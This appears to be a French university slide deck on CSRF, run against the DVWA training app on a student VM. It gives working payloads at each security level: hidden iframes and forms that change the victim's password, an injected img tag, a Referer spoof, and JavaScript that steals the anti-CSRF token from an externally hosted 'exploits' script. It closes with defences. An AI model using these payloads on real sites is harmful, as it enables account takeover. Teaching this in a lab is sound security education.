Skip to content
Snippets Groups Projects

CSRF

aka Cross-Site Request Forgery

/





tapez <prez>.html?<username-uca> dans votre navigateur pour suivre le cours avec votre nom de vm

CSRF

  • affecte toute ressource disponible directement
    • sans étape intermédiaire
      • avec authentification
        • usurpation de session
      • ou pas
        • redirection arbitraire

CSRF

alt text

Note:

  • rappel ici mail, mais aussi
    • XSS
    • lien déguisé
    • url shortner

CSRF / types

  • urls / formulaires forgés relayés via XSS

  • redirections arbitraires relayés via XSS

  • social engineering

    • initulé de lien malicieux
    • url shortner
  • phishing

CSRF / payload

  • le but est de rediriger un utilisateur vers une url
    • à l'insu de son plein gré
      • exécuter des opérations avec les permissions d'un autre utilisateur
      • envoyer du spam (de commentaire)

Note:

  • l'action avec privilège
    • urls connues (CMS, ...)
      • on espère que l'utilisateur est logué
  • spam de commentaire
    • urls connues (CMS, ...)

CSRF / low

New password: pipo
Confirm new password: pipo

/vulnerabilities/csrf/?password_new=pipo&password_conf=pipo&Change=Change#

  • via GET en injectant
<iframe
  src="javascript:window.location='http://vm-etu-vimazeno.local.isima.fr/vulnerabilities/csrf/?password_new=pipo&password_conf=pipo&Change=Change#';"
  height="0" width="0" style="border:0;">
</iframe>
  • possible via POST avec en scriptant
<form action="http://vm-etu-vimazeno.local.isima.fr/vulnerabilities/csrf/?password_new=pipo&password_conf=pipo&Change=Change#" method="post" id="formid"
  onload="document.getElementById('formid').submit();">
  <input type="hidden" name="password_new" value="1337"/>
  <input type="hidden" name="password_conf" value="1337"/>
</form>

Note:

  • analyser la requête de changement de mot de passe avec burp
  • forger une url
  • forger un form
    • injecter via XSS stored par exemple
  • problème de l'action silencieuse et aveugle
    • on ne sait pas sur qui ca marche
    • si on a une liste des utilisateurs du site le brute force est un option

CSRF / medium

/vulnerabilities/csrf/?password_new=pipo&password_conf=pipo&Change=Change#

That request didn't look correct.

comparaison requête forgée VS légitime filtrage par referer

if( stripos( $_SERVER[ 'HTTP_REFERER' ],
$_SERVER[ 'SERVER_NAME' ]) !== false ) {

ajouter un header via burpsuite

Referer: http://vm-etu-vimazeno.local.isima.fr/

passer par XSS (stored) / low

Name: CSFR
Message: <img src="http://vm-etu-vimazeno.local.isima.fr/vulnerabilities/csrf/?password_new=pipo&password_conf=pipo&Change=Change#" />

CSRF / high

  • session token dans un nouveau champs caché du formulaire
<input 
  type="hidden" 
  name="user_token" 
  value="840473d541a2e5e4b28e39cc31762f9d">
  • le session token peut aussi se trouver dans l'url
    • éventuellement salaison propre à l'utilisateur
      • IP, user-agent
        • ajout d'entropie

CSRF / high / session token

alt text

CSRF / high

/vulnerabilities/csrf/?password_new=pipo&password_conf=pipo&user_token=840473d541a2e5e4b28e39cc31762f9d&Change=Change#

procéder en 2 temps

  1. récupérer la valeur du session token
  2. jouer la requête CSRF avec le session token

Possible via une XSS (mais cassé)

CSRF / high / payload js

  • hébergé sur un serveur malicieux https://perso.limos.fr/mazenod/slides/1337/exploits/getToken.js
    function getToken() {
      var token='&user_token=' 
        + document
          .getElementById("get_token")
          .contentDocument
          .getElementsByName("user_token")[0]
          .value;
      var link = "http://vm-etu-vimazeno.local.isima.fr/"
        + "vulnerabilities/csrf/?password_new=pipo&password_conf=pipo&Change=Change"
        + token;
      document.getElementById("play_CSRF").src=link;
    }

Ne marchera que sur vm-etu-vimazeno

CSRF / high / payload XSS

cacher les iframes

<script src="https://perso.limos.fr/mazenod/slides/1337/exploits/getToken.js"></script>
Mine de rien
<iframe
  id="get_token"
  src="http://vm-etu-vimazeno.local.isima.fr/vulnerabilities/csrf/" 
  onload="getToken()" style="display:none"></iframe>
<iframe id="play_CSRF" style="display:none"></iframe>

A injecter dans XSS / low

A jouer dans XSS / high

CSRF / high / xhr / payload

var xhr = new XMLHttpRequest();
xhr.open('GET', 'http://vm-etu-vimazeno.local.isima.fr/vulnerabilities/csrf/', true);
xhr.withCredentials = true;
xhr.responseType = "document";
xhr.onload = function () {
  var token = xhr.response.getElementsByName('user_token')[0].value;
};
xhr.send();
var xhr2 = new XMLHttpRequest();
xhr2.open('GET', 'http://vm-etu-vimazeno.local.isima.fr/vulnerabilities/csrf/?password_new=hacked&password_conf=hacked&Change=Change&user_token=' + token, true);
xhr2.send();
<script src="https://perso.limos.fr/mazenod/slides/1337/exploits/xhr.js

A injecter dans XSS / low & jouer dans XSS / high

CSRF / Se préserver

  • Fausses Bonnes Idées
    • utiliser la méthode POST
    • vérifier le referer (ou n'importe quelle autre en-tête)
  • Session token
  • Double Submit Pattern

CSRF / Cookie-To-Header Token

  • adapté à une utilisation massive de JS

  • basé sur la Same Origin Policy

  • A l'authentification le serveur envoie un cookie contenant un jeton aléatoire valable pendant toute la session de l'utilisateur

Set-Cookie: Csrf-token=i8XNjC4b8KVok4uw5RftR38Wgp2BFwql; 
  expires=Thu, 23-Jul-2015 10:25:33 GMT; 
  Max-Age=31449600; 
  Path=/

CSRF / Cookie-To-Header Token

  • JavaScript lit le jeton et le renvoie dans un header HTTP spécifique à chaque requête
X-Csrf-Token: i8XNjC4b8KVok4uw5RftR38Wgp2BFwql